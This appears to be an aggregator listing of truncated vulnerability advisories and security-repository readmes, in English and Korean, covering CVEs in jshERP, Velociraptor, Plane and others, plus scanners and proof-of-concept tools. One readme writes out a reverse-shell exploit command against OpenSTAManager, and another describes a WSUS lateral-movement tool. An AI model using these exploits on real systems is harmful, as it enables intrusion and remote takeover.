CVE-2026-105621

A security flaw has been discovered in jishenghua jshERP up to 3.5. Affected is the function updateAccountHeadAndDetail of the file jshERP-boot/src/main/java/com/jsh/erp/service/AccountHeadService.java of the component Financial Receipt Update Handler. Performing a manipulation results in imprope...

CVE-2026-84900

Security vulnerabilities exist in versions of HP ThinPro prior to HP ThinPro 8.1 SP10 and HP ThinPro 9 SP3 . These flaws involve an Improper Validation of Integrity Check Value (CWE-354). HP has released security updates in HP ThinPro 8.1 SP10 and HP ThinPro 9 SP3 to mitigate these potential vuln...

CVE-2026-78411

Velociraptor's SetClientMetadata used the wrong permission check to enforce setting metadata on the server. This allows a user with LABELCLIENTS permission to update the server metadata. Server metadata is often used to store site wide configuration data that should only be updated by the server...

wpprobe

"왜 맹목적으로 스캔하나요? WordPress가 스스로를 노출하는데." WPProbe REST API 열거를 통해 설치된 플러그인을 감지하고 HTML 탐색을 통해 테마를 감지한 다음 알려진 취약점에 매핑하는 빠른 WordPress 플러그인 및 테마 스캐너입니다. 무차별 대입 없이 5000개 이상의 플러그인을 감지할 수 있으며, 무차별 대입을 사용하면 수천 개 이상을 감지할 수 있습니다. 중요: Wordfence API 변경 사항 2026년 3월 9일부터 Wordfence는 v2 API를 폐지했습니다. v0.10.16 이전의 모...

vulscan

vulscan - Vulnerability Scanning with Nmap Introduction Vulscan is a module which enhances nmap to a vulnerability scanner. The nmap option -sV enables version detection per service which is used to determine potential flaws according to the identified product. The data is looked up in an offline...

CVE-2026-34910-unifi-poc

UniFi OS CVE 개념 증명 승인된 테스트를 위한 두 경로에 대한 개념 증명으로, 다음과 같이 식별됩니다: CVE-2026-34910: 인증 우회auth bypass로, 패킷 업데이트 핸들러를 통한 명령 주입 및 원격 코드 실행으로 이어질 수 있습니다. CVE-2026-34909: 경로 탐색path traversal으로, app-assets 별칭을 통해 임의 파일 읽기로 이어질 수 있습니다. 이 스크립트는 귀하가 소유하거나 명시적으로 테스트 권한을 부여받은 기기 및 네트워크에 대한 보안 검증을 위한 것입니다. 타인의...

CVE-2026-78411

The Velociraptor platform contains a vulnerability in the SetClientMetadata function due to an incorrect authorization check (CWE-863). This flaw allows a user possessing only the LABEL_CLIENTS permission to update server metadata , which typically contains site-wide configuration data intended o...

EUVD-2026-92523

Velociraptor's SetClientMetadata used the wrong permission check to enforce setting metadata on the server. This allows a user with LABELCLIENTS permission to update the server metadata. Server metadata is often used to store site wide configuration data that should only be updated by the server...

CVE-2026-104964

Plane is an open-source project management tool. Prior to 1.4.0, Plane's project update endpoint authorizes the caller against the workspace slug in the request URL but loads the target project globally by UUID without binding it to that workspace. An administrator of one workspace can modify a...

python-tuf

소프트웨어 업데이트 시스템 보안을 위한 프레임워크 The Update Framework TUF는 안전한 콘텐츠 전달 및 업데이트를 위한 프레임워크입니다. 이는 다양한 유형의 공급망 공격으로부터 보호하고 손상에 대한 복원력을 제공합니다. 이 저장소는 Python으로 작성된 참조 구현 입니다. TUF 사양 버전 1.0을 준수합니다. Python-TUF는 다음 API를 제공합니다: tuf.api.metadata — TUF 메타데이터에 쉽고 안전하게 접근하고 파일로/부터 역직렬화를 처리하도록 설계된 "저수준" API...

CVE-2020-15227

CVE-2020-15227 면책 조항! 실제 환경에서 사용하는 것에 대한 책임을 지지 않으므로 사용하지 마십시오. 이 도구는 단지 시연과 시스템 관리자를 위한 테스트 목적으로 제공됩니다. 이 도구는 nette/application의 취약점을 테스트합니다. 취약점 수정 방법 Composer 종속성을 최신 버전으로 업데이트하세요. nette/application =3.0.6 nette/application =2.4.16 nette/application =2.3.14 nette/application =2.2.10 nette/nett...

CVE-2026-104964

The project management tool Plane is vulnerable to a cross-workspace project modification flaw in versions prior to 1.4.0 . The vulnerability exists because the project update endpoint validates the workspace slug in the URL but fetches the target project globally using its UUID without verifying...

EUVD-2026-92486

Plane is an open-source project management tool. Prior to 1.4.0, Plane's project update endpoint authorizes the caller against the workspace slug in the request URL but loads the target project globally by UUID without binding it to that workspace. An administrator of one workspace can modify a...

CVE-2026-104964 Plane: Cross-Workspace Project Modification via Unscoped Project Lookup

Plane is an open-source project management tool. Prior to 1.4.0, Plane's project update endpoint authorizes the caller against the workspace slug in the request URL but loads the target project globally by UUID without binding it to that workspace. An administrator of one workspace can modify a...

magescan

Mage Scan The idea behind this is to evaluate the quality and security of a Magento site you don't have access to. The scenario when you're interviewing a potential developer or vetting a new client and want to have an idea of what you're getting into. Installation .phar Download the magescan.pha...

SharpWSUS

SharpWSUS SharpWSUS는 WSUS를 통한 측면 이동Lateral Movement을 위한 CSharp 도구입니다. 도구, 사용 사례 및 탐지에 대한 자세한 정보는 관련 블로그https://labs.nettitude.com/blog/introducing-sharpwsus/에서 확인할 수 있습니다. 크레딧 아래 리소스들은 이 작업의 90%를 완료해 주었습니다. 이 도구는 C2 안정성과 유연성을 위해 아래 도구들을 개선한 것에 불과합니다. https://github.com/AlsidOfficial/WSUSpendu -...

CVE-2021-26258

이 저장소는 CVE-2021-26258 PoC를 위한 도구와 보조 파일을 포함하고 있습니다. 취약점에 대한 자세한 내용은 블로그 포스트를 참조하세요. 파일 목록 : rn.stg.original: Intel Killer와 함께 제공되는 원본 .stg 파일 rn.xml.original: rnstg-tool을 사용하여 rn.stg.original에서 추출한 .xml 파일 rncustom.xml: Discord.exe의 네트워크 액세스를 비활성화하고 RemoteRegistry 서비스를 시작하는 사용자 지정 .xml 파일...

Important: Red Hat Security Advisory: Red Hat Enterprise Linux AI 3.3.7 security update

Updated Red Hat Enterprise Linux AI 3.3.7 container images are now available. Red Hat® Enterprise Linux® AI is a foundation model platform to seamlessly develop, test, and run Granite family large language models LLMs for enterprise applications. This update provides the latest Red Hat Enterprise...

CVE-2026-38751

CVE-2026-38751 — OpenSTAManager Module Upload RCE 모듈 업데이트 엔드포인트에서 검증되지 않은 ZIP 업로드를 통한 인증된 RCE. 영향받는 버전: OpenSTAManager = 2.10.x 요구 사항 pip install requests 사용법 Reverse shell Penelope or any listener python3 exploit.py -u http://TARGET -U admin -P admin --lhost 10.10.14.X --lport 4444 Interactive...

CVE-2024-22145

CVE-2024-22145 InstaWP Connect = 0.1.0.8 - 누락된 권한 확인으로 인한 임의 옵션 업데이트 구독자 이상 설명: InstaWP Connect – 1-click WP Staging & Migration WordPress 플러그인은 0.1.0.8 버전까지 포함한 모든 버전에서 savemanagementsettings 함수에 대한 기능 확인capability check이 누락되어 데이터의 무단 수정에 취약합니다. 이로 인해 구독자 이상의 권한을 가진 인증된 공격자가 수정할 수 있습니다. Severity...